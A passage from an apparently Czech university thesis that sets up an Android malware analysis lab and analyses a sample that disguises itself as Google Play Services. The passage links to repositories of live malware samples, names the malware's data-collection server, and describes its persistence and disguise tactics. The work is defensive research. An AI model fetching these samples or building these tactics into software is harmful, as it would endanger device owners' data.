el Android SDK Platform-Tools 27.0.1 Installed
Uz s Android SDK Tools 26.1.1 Installed
Path Variables Documentation for Android SDK 1 Installed
Keymap [ Google Play APK E:f(panéion library 1 Not ?hstalled
. [ Google Play Licensing Library 1 Not installed
Editor [ Google Play services 46 Not installed
Plugins Google USB Driver, rev 11 11.00 Installed
[ Google Web Driver 2 Not installed
Build, Execution, Depl t
R D [ Instant Apps Development SDK 1.1.0 Not installed
Tools [=) Intel x86 Emulator Accelerator (HAXM installer) 6.06 Update Available: 6.2.1
[ NDK 16.1.4479499 Not installed

) Show Package Details

B el || ooy | [ Hep |

Obrazek 8: Seznam SDK nastrojii (zdroj: viastni)
7. Pokud néjaka polozka neni nainstalovana, zatrhnéte piislusné policko v seznamu a tla-
¢itkem OK spustte jeji staZeni a instalaci.

8. Pokud je vSe v pofadku, mlZete program zavfit.
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4.3.3 Android Debug Bridge
Instalace:

V ramci Android Studia se ADB nachazi ve slozce:

C:\Users\<uz.jméno>\AppbData\Local\Android\sdk\platform-tools

Pokud pouzivate stand-alone verzi, staci rozbalit obsah stazené¢ho ZIP souboru.
Spusténi:

1. Spustte ptikazovy fadek a prejdéte do slozky s ADB:

Pozn.: K navigaci mezi slozkami slouzi prikaz CD.

2. Piikazem adb start-server spustte daemon'? adb.

3. Pfipojte k pocitaci zatizeni nebo se zapnutym ladénim USB.

4. Prikazem adb devices vypiste seznam piipojenych zafizeni. Pokud je pfipojené zafi-
zeni v seznamu, je mozné komunikovat s ptikazovym procesorem.

Pozn.: Pokud je k pocitaci pripojeno vice zarizeni, je treba ke smérovani prikazii pouzit

modifikator -s + <ID zarizeni>

5. V piipad¢ potieby muzete daemon vypnout piikazem adb kill-server.

4.3.4 APKTool

Instalace:

1. Stazeny soubor piejmenujte na apktool. jar.
2. Stahnéte soubor apktool.bat z adresy:

https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scrip
ts/windows/apktool.bat

3. Oba soubory piesuite do slozky C:\windows.

13 Daemon: Typ programu v unixovych opera¢nich systémech, ktery neni pod pfimou kontrolou uZivatele, ale
pracuje dlouhodobé na pozadi a ¢eka na aktivovani ur¢itou udalosti [45].


https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/windows/apktool.bat
https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/windows/apktool.bat
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4.3.5 Burp Suite Community Edition
Instalace a spusténi:

1. Spustte stazeny soubor.

Postupujte podle pokynt instalatoru. Po dokonceni instalace program spust'te.
Na uvitaci obrazovce kliknéte na tlacitko next a nésledné na start project.

Po spusténi aplikace kliknéte na zalozku proxy a pak na podzalozku settings.
V sekci proxy listeners vymazte tlacitkem remove existujici zaznam.
Kliknéte na tlacitko add.

Do polozky bind to port napiste hodnotu §080.

e o

U polozky bind to address vyberte moznost all interfaces.

Pozn.: Konfiguraci je nutné provést pri kazdém zapnuti aplikace, protoze verze zdarma ne-

nabizi mozZnost konfiguraci ulozit.

% Add a new proxy listener

_[ Binding I Request handiing I Certificate ]

L:J These settings control how Burp binds the proxy listener.

Bind to port: 8080

Bind to address: (U Loopback only

@ Allinterfaces

() Specific address: l 127.0.0.1 vJ

| OK | | Cancel |

Obrazek 9: Screenshot konfigurace Burp Suite (zdroj: vlastni)

9. Tlacitkem ok uloZte nastaveni.
10. Nyni je proxy server v provozu. V podzalozce intercept je mozné ovladat zachytavani
provozu. Pokud ptfenos nepotvrdite, nebo trvale nepovolite tlacitkem intercept is on/off,

komunikace pfes pracovni stanici neprojde.
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4.3.6 Drozer
Instalace:

1. Spust'te stazeny soubor a pokracujte v instalaci podle instrukei.

2. Stahnéte a nainstalujte do zafizeni klientskou aplikaci, ktera je dostupna na adrese:
http://labs.mwrinfosecurity.com/tools/drozer/

Spusténi:

1. V zafizeni oteviete aplikaci a tlacitkem vypnuto v pravém dolnim rohu spust'te server.

drozer Agent

drozer

Embedded Server

31415 Pt

Obrazek 10: Screenshot klientské aplikace Drozer
(zdroj: viastni)

2. Ptipojte zatizeni USB kabelem k pracovni stanici.

3. Na pracovni stanici oteviete piikazovy fadek.

4. V prikazovém tadku se presuiite do slozky s Drozerem. Standardné se sloZzka nachazi v:

C:\Pythonx\Scripts


http://labs.mwrinfosecurity.com/tools/drozer/
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5. Ptikazem <cesta k adb> forward tcp:31415 tcp:31415 spustte smérovani
komunikace.

6. Piikazem drozer console connect spustte Drozer.

Pozn: Pokud se setkate s chybovou hlaskou “Unknown encoding: cp65001 “ je treba zménit

kédovani konzole prikazem set pythonencoding=utf-8.

Pokud se setkate s chybovou hlaskou “Could not find Java. Please ensure that it is installed
and in your PATH.“ je treba ve slozce C:\Users\<uZ.jméno>\ vytvorit soubor

.drozer_config a viozit do néj nasledujici kod:

[executables]

java = C:\Program Files\Java\jdk-9.0.4\bin\java.exe
4.3.7 Python

Instalace:

1. Spust'te stazeny soubor a pokracujte v instalaci podle instrukei.

2. Oteviete ptikazovy fadek a ptikazem python spust'te program.

Pozn.: pokud se setkdte s chybovou hlaskou ,, ‘Python‘ is not recognized as an internal or
external command, operable program or batch file. je tieba nastavit promeénné prostiedi

(environment variables) ve Windows.

Nastaveni najdete v:

Ovladaci Panely — Systém — Upresnit nastaveni systému — Upresnit — Proménné prostredi.
Na obrazovce proménného prostredi vyberte polozku Path a kliknéte na tlacitko Upravit.
Do seznamu pridejte polozky:
C:\Users\<uz.jméno>\AppData\Local\Programs\Python\Python36-32

C:\Users\<uz.jméno>\AppData\Local\Programs\Python\Python36-32\Scripts

(Pokud jste pri instalaci vybrali vlastni umisténi, musite mu cesty prizpiisobit.)

3. Pokud se program spésné spustil, opét ho prikazem exit() mizete vypnout.
4.3.8 Wireshark

Instalace a spuSténi:

1. Nainstalujte a spust’te aplikaci.

2. Na uvitaci obrazovce vyberte rozhrani, na kterém chcete sledovat provoz.
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3. Po vybéru rozhrani se automaticky zapne monitoring provozu.

4. Zaznam zastavite pies panel ndstroji capture — stop nebo pres tlacitko na horni listé.
4.4 Konfigurace zarizeni

4.4.1 Moznosti vyvojare a ladéni USB

K umoznéni komunikace s ptikazovym procesorem je nutné, aby byly v zafizeni zapnuty

moznosti vyvojare a ladéni USB. Postup:

1. V zafizeni oteviete aplikaci nastaveni. Pokud se v ivodnim seznamu nachazi polozka
moznosti vyvojare, prejdéte ke kroku 4.

2. Pro zobrazeni nabidky moznosti vyvojare oteviete polozku info o telefonu a nasledné
polozku softwarové informace.

3. Pétkrat tapnéte na polozku cislo sestaveni. Zobrazi se hlaska o zapnuti vyvojaiského re-
Zimu. Vrat'te se zp€t na titulni obrazovku nastaveni.

4. Otevtete polozku moznosti vyvojare.

5. Pfepinaem v pravém hornim rohu zapnéte moznosti vyvojare.

€& Moznosti vyvojare

Pfijmout hlaseni o programové chybé

Zdlozni heslo plochy
Uplné zalohovani plochy neni momentalné chranéno.

Nevypinat obrazovku

Obrazovka se pfi nabijeni nepfepne do rezimu
spéanku

Povolit Bluetooth HCI protokol
sledovani

Zachytit vSechny bluetooth HCI pakety do
souboru

Spusténé sluzby
UmozZnuje zobrazit a ovladat aktudlné spusténé sluzby

LADENI

Ladéni USB
Povoluje rezim ladéni s pfipojenym zafizenim
USB

Obrazek 11: Screenshot obrazovky
moznosti vyvojare (zdroj: vilastni)

6. V sekci ladeni zapnéte ladeni USB.
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4.4.2 Konfigurace proxy serveru

1. V zafizeni prejdéte do aplikace nastaveni a vyberte polozku Wi-Fi.
Vyberte sit’, ke které se chcete piipojit.
Na obrazovce moznosti sit€¢ zatrhnéte moznost zobrazit pokrocilé moznosti.

V nastaveni serveru proxy vyberte moznost rucne.

wok »wN

Zadejte IP adresu pracovni stanice a ¢islo portu 8080.

Pozn.: IP adresu ve Windows zjistite zadanim prikazu 7pconfig do prikazovéeho radku.

4.5 Postup pokust

Pti pokusech je nejdiive aplikace podrobena analyze, pti které dojde ke zjiSténi zédkladnich
informaci o jejich funkcich a k odhadnuti jejiho chovani. Nésledné je aplikace nainstalovana
a spusténa na zafizeni, pticemz jsou sledovany vSechny ¢innosti na Urovni systému a v uzi-
vatelském prostiedi a je monitorovan internetovy provoz. Zaznamy jsou pak podrobeny ana-
lyze za i¢elem identifikace chovani aplikace. V zavéru pokusu jsou prozkoumany moznosti,

jak aplikaci ze zafizeni odstranit.
Pii analyzach jsou pouzZivany informace z oficialni vyvojarské dokumentace systému An-
droid, kterd je dostupna na adrese:

http://developer.android.com

4.5.1 Ziskani malwaru

Skodlivé APK soubory pochazeji ze serveru GitHub, ktery provozuje hostitelskou sluzbu
podporujici vyvoj softwaru na adrese:

http://github.com

Na serveru je mozné najit i zivé vzorky malwaru. Mezi zdroje téchto aplikaci patii naptiklad:
http://github.com/ethicalhackeragnidhra/Android-mMalwares
http://github.com/ashishb/android-malware

http://github.com/hxp2k6/Android-Malwares

4.5.2 Manualni staticka analyza aplikace

Cilem analyzy je ziskat zékladni informace o aplikaci, odhadnout jeji chovani a odhalit po-
tencidlné rizikové aktivity. Pii analyze bude pouzit software Androguard, APKTool, dex2jar
a JD-GUL


http://github.com/
http://github.com/ethicalhackeragnidhra/Android-Malwares
http://github.com/ashishb/android-malware
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4.5.2.1 Analyza APK souboru

Ptimou analyzu aplikace je mozné provést ndstrojem Androguard, ktery umoznuje Cist in-
formace pfimo z APK souboru. Cilem je ziskat nazvy aplikace (aplikace maji dva nazvy,
pod jednim je aplikace identifikovdna operacnim systémem a druhy nazev je zobrazovan

v uzivatelském prostiedi), jeji aktivity a opravnéni.
Postup:

1. Spust'te piikazovy fadek a presuiite se do slozky Androguardu.

2. Ptikazem python androlyze.py -s spustte program.

Pozn.: Pokud se setkate s chybovou hlaskou ,, ModuleNotFoundError*“ je treba nainstalovat
chybéjici komponenty. Nazev komponentu je specifikovan v hldsce. Instalaci provedete pri-

kazem pip install <ndzev komponentu> (je vyzadovdno internetové pripojeni).

3. Prikazem a, d, dx = AnalyzeAPK(“<cesta k souboru>*) nactéte APK soubor.
Dojde ke spusténi funkce AnalyzeAPK() a vytvofeni tii objekti:
a— obsahuje informace o APK souboru, jako jsou napt. nazev, opravnéni nebo obsah
souboru AndroidManifest.xml.
d — obsahuje informace o DEX souboru ve kterém jsou uloZeny informace o pouzi-
tych tfidach, metodach a fetézcich.
dx — obsahuje informace o tfidach v DEX souboru.
Ptikazem a.get_package () ziskate nazev balicku aplikace.
Ptikazem a.get_app_name () ziskate nazev aplikace.
Piikazem a.get_main_activity() ziskate hlavni aktivity aplikace.
Piikazem a.get_activities() ziskate ostatni aktivity aplikace.

Ptikazem a.get_permission() ziskate vypis pozadovanych opravnéni.

o ® N 0ok

Piikazem quit () ukoncete program.

4.5.2.2 Analyza souboru AndroidManifest.xml

Jednim ze zpUsobi, jak ziskat soubor AndroidManifest.xml, je extrahovani zdrojovych sou-
borii z instalaéniho balicku pomoci néstroje ApkTool. Soubor AndroidManifest.xml je Ci-
telny v jakémkoli textovém editoru. Pro zlepsi Citelnosti kodu je dobré pouzit editor, ktery

umoziuje zvyraznéni syntaxe. Mezi tyto editory patii napifiklad PSPad.



UTB ve Zliné, Fakulta aplikované informatiky 53

Postup:

1. Spust’te ptikazovy fadek a presuiite se do slozky s APK souborem.

2. Piikazem apktool d <nazev aplikace> dekddujte APK soubor. Vysledek bude
uloZen v nové slozce.

3. V pruzkumniku Windows ptejdéte do slozky s dekddovanymi soubory.

4. K otevieni souboru pouzijte libovolny textovy editor a proved’te analyzu obsahu.

4.5.2.3 Analyza zdrojového kédu 7 JAR souboru

Zdrojovy kod v jazyce Java umoznuje ziskat nastroj dex2jar, ktery slouzi k prevodu APK

souboru do formatu JAR. Ten je pak mozné ptecist pomoci programu JD-GUI.
Postup:

1. Oteviete ptikazovy fadek a presuiite se do slozky s aplikaci dex2jar.

2. Prikazem d2j-dex2jar.bat <cesta k aplikaci> dekodujete APK soubor do for-
matu JAR. Novy JAR soubor bude umistén ve stejné slozce jako ptivodni APK soubor.

3. Otevrete aplikaci JD-GUI, kliknéte na polozku file a nasledné na open file. Vyberte JAR
soubor a kliknéte na tlacitko open. Nyni mate ptistup ke zdrojovému koédu aplikace a

muzete provést analyzu.

Pozn.: Pri analyze je mozné se setkat s retézci zakodovanymi funkci Base64. K dekodovani

je mozné pouzit online dekodér dostupny na:

http://base64decode.org/

4.5.3 Automaticka staticka analyza aplikace

Statickou analyzu aplikace je mozné provést 1 automatizované. Na trhu je mnoho offline
1 online nastroju nabizejici tuto funkci, mezi které patii i online nastroj Virus Total, ktery ma
k dispozici velkou databézi Skodlivych aplikaci a pfi jejich analyze je testuje velkym mnoz-

stvim antivirovych aplikaci.
Postup:

1. Na pracovni stanici oteviete ve webovém prohlizeci adresu http://virustotal.com
Tlacitkem choose file vyberte APK soubor, ktery chcete analyzovat.
Server provede analyzu souboru a zobrazi jeji vysledky.

V zaloZce detection naleznete vysledky detekce malwaru antivirovymi aplikacemi.

U

V zaloZce details naleznete detaily aplikace jako je ndzev, opravnéni, aktivity atd.


http://base64decode.org/
http://virustotal.com/
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4.5.4 Dynamicka analyza aplikace

K dynamické analyze aplikaci v zafizeni se pouziva ndstroj Dozer. Ten umoznuje simulovat
libovolné chovani aplikace prostfednictvim klienta, ktery je v zafizeni spustén. Diky tomu

je mozné komunikovat s ostatnimi aplikacemi i s operacnim systémem.
Postup:

1. Na pracovni stanici spust’te konzoly Drozeru a v zatizeni zapnéte server v klientské apli-
kaci.

2. Nainstalujte na zafizeni analyzovanou aplikaci (viz 4.5.5), ale nespousté;jte ji.

3. Prikazem run app.package. 11 st ziskate seznam nainstalovanych aplikaci.

4. Prikazem run app.package.manifest <nazev balicku> zobrazite obsah souboru
AndroidManifest.xml.

5. Ptikazem run app.package.attacksurface <nazev balicku> ziskite seznam
komponentt.

6. Piikazem run app.<ndzev komponentu>.info -a <ndzev balicku> ziskate
informace.

7. Ptikazem run app.<nazev komponentu>.start --component <nazev ba-
Ticku> <nazev komponentu> spustite komponent.

8. Piikazem run app.<nazev komponentu>.stop --component <ndzev ba-
Ticku> <nazev komponentu> vypnete komponent.

9. Prikazem 11 st ziskate kompletni seznam ptikazu.

10. Prozkoumejte chovani aplikace.

4.5.5 Instalace aplikace a monitorovani provozu

V tomto kroku dochézi k instalaci aplikace a monitorovani jejiho provozu. Cely proces je na
systétmové Urovni mozné sledovat a zaznamendvat prostfednictvim nastroje Logcat
a Dumpsys. Vystupem z néstroje Logcat jsou logovaci zdznamy systému a nastroj Dumpsys
umoznuje ziskat kompletni technicka data o zatizeni. K monitorovani webového provozu je
pouzit software Burp Suite, ktery umoziiuje na pracovni stanici presmérovat provoz ze zati-
zeni prostfednictvim proxy. Smérovany provoz je zaznamenavan a nasledné analyzovan

softwarem Wireshark.
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Postup:

e o

9.

. Zapnéte v zatizeni rezim vyvojare a ladéni USB.

Spust’te na pracovni stanici program Burp Suite.

Ptipojte zafizeni k Wi-Fi prostfednictvim proxy serveru na pracovni stanici.

Oveétte funkEnost spojeni otevienim libovolné webové stranky v zafizeni.

Ptipojte zatizeni k pracovni stanici USB kabelem.

Presunte se do slozky s ADB a ptikazem adb start-server ho spustte.

Piikazem adb devices ovéite, jestli je zafizeni spravné piipojeno.

Piikazem adb Togcat > <nazev souboru.txt> spustite logovani aktivit zafizeni.
Data budou uklddana do uvedeného textového souboru.

Zapnéte v zafizeni reZim vyvojare a ladéni USB.

10. Nainstalujte aplikaci jednim z téchto zptisobti:

11.

12.

13.

14.

15.

16.

17.

a) Zmeéite v zafizeni rezim ptipojeni USB na medialni zarizeni a zkopirujte APK sou-
bor do ulozisté zatizeni. Nasledné zméiite rezim piipojeni na dobiti telefonu. Piipojeni
ptes ADB se nepterusi a bude mozné aplikaci v zafizeni uzivatelsky nainstalovat. K in-
stalaci se pouziva spravce soubortl, ktery umoznuje najit soubor v tlozisti zatizeni a
spustit jeho instalaci.

b) Pouzijte piikaz adb install <nazev souboru.apks>.

Udélte aplikaci vS§echna pozadovana opravnéni a povolte instalaci aplikaci z neznamych

zdroji (pokud jiZ neni povoleno).

Spust'te aplikaci.

Prozkoumejte Cinnost aplikace v zatizeni a moZnosti jejiho odstranéni.

Na pracovni stanici se pfepnéte do okna piikazového tadku, kde je spustény ndastroj

logcat. Klavesovou kombinaci CTRL+C k ukon¢eni logovani.

Tlac¢itkem stop vypnéte monitorovani webového provozu v aplikaci Wireshark a ulozte

pracovni soubor.

Piikazem adb shell dumpsys > <ndzev souboru.txt> ziskate kompletni

technické detaily o zafizeni, ktery se ulozi do uvedeného textového souboru.

Nyni je mozné zatizeni odpoyjit.



UTB ve Zliné, Fakulta aplikované informatiky 56

4.5.6 Analyza provoznich soubort

4.5.6.1 Analyza souborit Logcat a Dumpsys

Soubory z nastroji Logcat a Dumpsys jsou Citelné v jakémkoli textovém editoru. Pti analyze
se vyuziva hledani klicovych slov jako jsou napiiklad nazev balicku, nazvy aktivit, tfid a
pouzitych komponentd (SMS, Wi-Fi, ...) nebo UID procesu (identifikator je uveden v obou

souborech a je mozné ho nalézt podle nazvu balicku).

1. Oteviete textovy soubor v libovolném textovém editoru.
2. Provedte analyzu ¢innosti malwaru v zatizeni.

4.5.6.2 Analyza souboru Wireshark

V souboru z programu Wireshark je ulozeny kompletni zdznam o webovém provozu pra-
covni stanice a software umoznuje zdznamy filtrovat pomoci podminek a zobrazit detailni
informace o komunikaci na trovni jednotlivych paketl. Pfi analyze je vyhledavéan a zkou-
man obsah prenost skodlivé aplikace. Ty je mozné identifikovat diky poznatkiim ziskanych

pfi analyze aplikace pted instalaci nebo vyhledavanim a analyzou podezielé komunikace.

1. Oteviete soubor ziskany programem Wireshark.

2. Do vyhledavaciho pole vlozte podminku: ip.addr == <ip adresa zarizeni>
Pozn.: IP adresu zarizeni ziskate prostrednictvim Nastaveni — Info o zarizeni — Sit.

3. Proved'te analyzu internetové komunikace.
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4.6 Pokus 1 - Agent JI

Cilem tohoto pokusu je otestovat techniky manualni statické analyzy aplikace za pouziti
nastroji Androguard, APKTool, dex2jar a JD-GUI, monitoring provozu aplikace v zafizeni
nastrojem Logcat a Dumpsys a sledovani internetového provozu pomoci softwaru BurpSuite

a Wireshark. Zdznamy jsou uvedeny v protokolu €. 1, ktery se nachazi v ptiloze P L.

4.6.1 Vysledky manualni statické analyzy
Analyza APK souboru nastrojem Androguard

Nazev balicku a aplikace aplikace: Z nazvu balicku a zobrazovaném nazvu je patrné, ze
jde o podeztelou aplikaci. Nazev balicku cosmetiq.fl nema s deklarovanou funkci nic spo-
lecného a je pravdépodobné, Ze byl pouzit zamérné, aby se ztizila moznost aplikaci v zafi-
zeni identifikovat. Nazev aplikace Google Play Services, ktery je zobrazovan uzivateli, ma
evokovat pocit, ze jde o systémovou aplikaci, ktera je soucasti OS a neméla by se mazat.

Aktivity: Z informaci o aktivitich aplikace mizeme zjistit, Ze primarni ¢innosti je Laun-
chActivity. Mnohem zajimavéj§i jsou ostatni aktivity aplikace, mezi které patii In-
comeSMSActivity. Z té je patrné, Ze aplikace chce pracovat s SMS zpravami. Tato ¢innost
samoziejmé viubec nesouvisi s deklarovanou funkci a potvrzuje podezieni, ze jde o Skodli-

vou aplikaci. Dalsi aktivity jsou uvedeny pod nicnefikajicimi nazvy, které mohou slouzit

k maskovani skute¢nych ¢innosti aplikace.

Povoleni: Diky povolenim mizeme s jistotou fict, Ze aplikace chce SMS zpravy nejen pfi-
jimat, ale 1 Cist a odesilat. Dale se bude snazit zjistit informace o kontaktech, telefonnim ¢isle
a stavu siti. V kombinaci s povolenim prace s externim lozistém a s povolenim k interne-
tové komunikaci mizeme predpokladat, Ze aplikace bude zjisténé informace ukladat na ex-
terni 0loZiSt€ a odesilat je prostfednictvim internetu. Neni také vylouceno, Ze aplikace bude
odesilat 1 jind data zexterniho uloziSt€. Vibec nejrizikovéjSim povolenim je
WRITE SETTINGS, diky kterému muze aplikace ¢ist a ménit systémova nastaveni. Zaji-
maveé je také povoleni RECEIVE BOOT COMPLETED
a SYSTEM_ALERT WINDOWS. Z prvniho povoleni se miizeme domnivat, Ze se aplikace
bude spoustet ihned po startu zatizeni a z druhého, ze ji neptijde jednoduse vypnout, protoze
ji nebude mozné skryt. Z ostatnich povolenich souvisejicich s ovladanim vykonu procesoru
a vypnuti obrazovky je patrné, Ze aplikace chce svou €innost provést okamzité a nepteruSo-

vane.
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Analyza souboru AndroidManifest.xml

Aktivity: Z uvedeného seznamu aktivit mizeme vycist, Zze se po startu aplikace opravdu
comeSMSActivity, kterda ma v planu posilat zpravy a chce mit piistup ke cteni SMS 1 MMS.
Vypis nam také umoziuje urcit ¢innost funkci s nicnetikajicimi ndzvy. Prvni aktivita o.’
slouzi ke zjiSténi, jestli mé aplikace prava spravce zatizeni. Ke zjisténi pfistupu vyuziva re-
ceiver AdministrationReceiver. Druha aktivita 0.” je urena k piijmu SMS zprav, snazi se
ziskat prednost pred ostatnimi aplikacemi prioritou 999 a pouziva receiver Mess.Receive-
rlnoming. Tteti aktivita 0.CON slouzi ke spusténi aplikace po dokonceni bootovaciho pro-

cesu. Vyuziva BootReceiver a opét se snazi ziskat pirednost prioritou 999.

Sluzby: Z popisu sluzby Call.HeadlessSmsSendService vyplyva, ze slouzi k posilani SMS
a MMS bez uzivatelského rozhrani (to se pouziva napf. pfi automatické odpovédi na ho-
vory). Tyto zpravy se navic v zafizeni neukladaji. Sluzbu mohou pouzivat pouze aplikace,
které jsou vychozimi aplikacemi k posilani SMS. Je tedy velmi pravdépodobné, Ze se apli-
kace bude snazit zménit tuto vychozi aplikaci prostiednictvim povoleni
WRITE SETTINGS. Sluzba Call.SmSKitKatService by méla fungovat podobné, ale je ur-
¢ena pro noveéjsi verze operacniho systému. Posledni sluzba Controllers.Activities. WebMa-

inService je podle nazvu sluzbou, ktera bude slouzit k internetové komunikaci.

Prijimace: Polozka InstallReceiver indikuje, ze aplikaci bude chtit zah4jit svou ¢innost ih-

ned po instalaci. ReceiverMess, ReceiverPush a 0." slouzi k ptijmu SMS a MMS.
Analyza zdrojového kodu

Na zdrojovém kodu mizeme pozorovat techniky, kterymi se tviirce aplikace snazil zakryt

jeji skodlivou funkci a svoje stopy:

1. Nejasné pojmenovani promeénnych: Pouzité proménné jsou pojmenované jednoznakove
a je pouzito té€zko rozliSitelnych znak, které nic nevypovidaji o ucelu promeénné.

2. Pouziti kodovani pro prosty text: VétSina textovych fetézci je zakodovana prostiednic-
tvim funkce Base64.

3. Nikde ve zdrojovém kodu neni uvedeno tel. ¢islo nebo webova adresa v prostém nebo
v zaSifrovaném textu. Je pravdépodobné, Ze se ¢islo nebo webova adresa generuje dyna-

micky.
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Ze zdrojového kodu bylo zjisténo, Ze obsahuje stopy bankovniho malwaru. Snazi se zjistit
udaje o kreditni kart¢ vlastnika zafizeni a ndsledné ziskat i potvrzovaci SMS. Zda se vSak,

ze tato aktivita je jen poziistatkem po jiné aplikaci, na které byla tato aplikace postavena.

Jednou z hlavnich ¢innosti aplikace je sbér dat. Sbira data o zafizeni (napt. IMEI, model,
zeme, verze systému, tel. ¢islo a operator), o bézicich procesech a o aplikacich. Zajimavé je,
ze explicitn€ zjistuje, jestli je zafizeni v Rusku. U aplikaci se zaméfuje na data z aplikaci
Facebook, Viber a WhatsApp. Dal§imi zajmovymi aplikacemi jsou Instagram, Skype, Twit-
ter a n¢které zabezpeCovaci aplikace (zejména na CleanMaster, Qihoo Security, KMS a Sy-
mantec). Dal$i zajimavosti je tiida >.class. Ta se vénuje pouze aplikaci TeamViewer, ktera
slouzi ke vzdalenému pfistupu k zatizeni. Je tak pravdépodobné, ze miize dojit ke zneuziti

této aplikace.

Aplikace vytvafi v externim lozisti soubor Google.log. Ten se v kodu velmi ¢asto vyskytuje

a nejspis plni funkei logovaciho souboru aplikace.

Dale bylo zjisténo, ze se aplikace po svém vypnuti ihned znovu zapind. Navic si prostied-
nictvim Alarm Manageru nastavuje automatické zapnuti po 1 minuté. Byly také potvrzeny

domnénky, Ze aplikace bude chtit zménit vychozi SMS aplikaci

Pti analyze nebylo zjisténo, jakym zptisobem bude probihat komunikace prostfednictvim
SMS a internetu, ani co bude aplikace délat v ptipadé, Ze ziska statut spravce zatizeni. Uka-
zalo se také, Ze aplikace dex2jar nedokédze APK soubor 100 % dekddovat a ptiblizné 1/3
kodu je necitelna. Je proto mozné, Ze nékteré chybé&jici ¢asti (napf. telefonni ¢islo nebo we-
bova adresa) se nachdzi v tomto chybé&jicim kodu, ptipadné se v ni miiZze nachazet zbytek

bankovniho malwaru.

4.6.2 Vysledky monitoringu

Instalace: Aplikace se pfi instalaci maskuje jako legitimni sluzba Google Play Services.
Uzivatel je pfed ni sezndmen se v§emi opravnénimi, o které aplikace pozaduje. I podle tohoto
jednoduchého vypisu je mozné rozpoznat, ze jde pravdépodobné o Skodlivou aplikaci. Pro-
toze aplikace nepochazi z oficidlniho obchodu, vyZaduje zménu nastaveni, pii které¢ dojde

k povoleni instalace aplikaci z neznamych zdroju.

Uzivatelské prostiedi: Po instalaci je uZivatel vyzvan, aby ud¢lil aplikaci povoleni stat se
spravcem zafizeni. Tuto zaddost odiivodiiuje dokoncenim udajného updatu. Pokud uzivatel

vybere moznost zrusit nebo chce okno opustit, okamzité se znovu spusti a zafizeni je tak
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zcela neovladatelné. Po restartu systému se zadost objevi ihned znovu. Kdyz se aplikace
stane spravcem zafizeni, ziska ptistup ke zméné hesla pro odemknuti obrazovky, nastaveni

pravidel pro hesla, mtze fidit uzamceni obrazovky a miize 1 nastavit Sifrovani uloziste.

Po ptidé€leni prav spravce zafizeni se v uzivatelském prostredi ned¢je zadna dalsi ¢innost.
Podle predpokladil bylo zjisténo, Ze se aplikace neustdle snazi zapnou Wi-Fi a mobilni data.
Dale se potvrdilo, Ze se aplikace chce stat vychozi aplikaci pro zasilani zprav. Uzivatel vSak
ke zméné€ nebyl vyzvan a aplikace se pouze pfifadila na seznam vychozich aplikaci. Kdyz
uzivatel aplikaci nastavi jako vychozi, tak se v uzivatelském prostiedi nic nestane a pfi po-

kusu napsat SMS je uzivatel pfesmerovan na vychozi aplikaci OS.

Aplikaci kvli praviim spravce zatizeni neni mozné vypnout ani odinstalovat. Pokud se ho
uzivatel rozhodne aplikaci odebrat, je upozornén, Ze tato akce neni mozna. Nasledné se ote-
vie okno s textem, Ze probihd systémovy update. Po zavieni okna byly aplikaci prava ode-
brana, ale okamzit¢ o n¢ zacCala zadat znovu a zafizeni bylo stale nepouzitelné. Pokus byl

proveden i na zatizeni se starSim OS (4.1), u kterého nebylo mozné prava odebrat.

Logcat: Z dat ziskanych nastrojem Logcat bylo zji§téno, Ze systém neptidélil aplikaci oprav-
néni DEVICE_POWER. Po nainstalovani se spousti 3 procesy pro aktivity LaunchActivity,
0. a WebMainService. V aplikaci se nachazi dvé chyby ve tfidach o.'a o.1. Dal§imi akcemi
po instalaci je zapnuti Wi-Fi a datového pfipojeni, odstranéni zastupce aplikace a pokus o
nastaveni vychozi SMS aplikace. Nasledn¢ se aplikace spousti pfiblizné kazdou vtetfinu a
zada o pridéleni prav spravce. Kdyz je ziska, tak neprovadi zadné akce. To je pravdépodobné
zpiisobeno tim, Ze kontrolni server je mimo provoz a aplikace z n&j neziskava zadné dalsi

pokyny. Prava spravce bylo mozné odebrat, ale aplikace okamZité o prava Zada znovu.

Dumpsys: Z technickych tdaji zafizeni je mozné zjistit UID aplikace a spusténé sluzby
(WebMainService a o. 1). K opétovnému zapinani aplikace se pouziva funkce alarm, ktera ji
v daném intervalu zapina. Dal§imi dilezitymi informacemi jsou data o aktivitdch aplikace.
Z nich je patrné, ze se malwaru podafilo piecCist a zapsat data do externiho tlozisté a precist
stav zatizeni. Pokousel se také o napsdni SMS a vykresleni svého okna nad ostatnimi apli-
kacemi. Témto akcim vSak systém zabranil. Ze souboru je také mozné zjistit, Ze se aplikace

pfidala na seznam vychozich aplikaci pro SMS.

Webovy provoz: Malware se snazi kontaktovat vzdaleny server na adrese
http://joguce.info a odesila na n&j tato data: ID zafizeni, verzi OS, IMEI, zemi,

telefonni ¢islo, operatora a seznam nainstalovanych aplikaci. Komunikace neni zaSifrovana,
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a i pres to, ze server v soucasné dob¢ neni v provozu, malware se jej snazi kontaktovat

a predat data pfiblizné kazdou minutu.

4.6.3 Odstranéni malwaru ze zarizeni

U testovaného zatizeni bylo mozné odebrat prava spravce (prostfednictvim nastaveni — za-
bezpeceni — spravci zarizeni), ale aplikace si o prava hned zadala znovu a zatizeni bylo prak-
ticky nepouzitelné. Zatizeni bylo nésledné restartovano do nouzového rezimu, ve kterém se

aplikace nemohla spustit a bylo ji mozné odinstalovat standardnim uzivatelskym zptisobem.

Malware byl testovan i na starSi verzi 4.1, u které nebylo mozné aplikaci odebrat prava
spravce, protoze si je pii pokusu o odebrani opét sama pridélila. Jedinou moznosti, jak

malware odstranit, bylo uvést zatizeni do tovarniho nastaveni.

4.6.4 Zavér

Bylo zjisténo, Ze testovana aplikace se drobné 1i8i od aplikace, kterou analyzovaly laboratote
Eset, ale v principu jsou stejné. Aplikace se maskuje jako legitimni sluzba Google Play Ser-
vices a pred instalaci je mozné pomérn¢ snadno podle pozadovanych opravnéni poznat, ze
jde o Skodlivou aplikaci. Pokud ji uZivatel i pfes to nainstaluje, tak ho po spusténi pozada
o ptidéleni prava spravce zafizeni. V ptipad¢ odmitnuti Zadosti se opakované objevuje pfi-
blizn€ kazdou vtetfinu znovu a zafizeni je prakticky nepouzitelné. K této akci malware vyu-
ziva spravce budik.

Po pfidéleni prav spravce aplikace shromazdi data o uZivateli a o zafizeni a odesila je pro-
sttednictvim neSifrované komunikace na vzdaleny server. Ten je v souc¢asné dob€ mimo pro-
voz, ale je moZné komunikaci zachytit a pfecist (zejména ve vetejnych Wi-Fi sitich). Wi-Fi
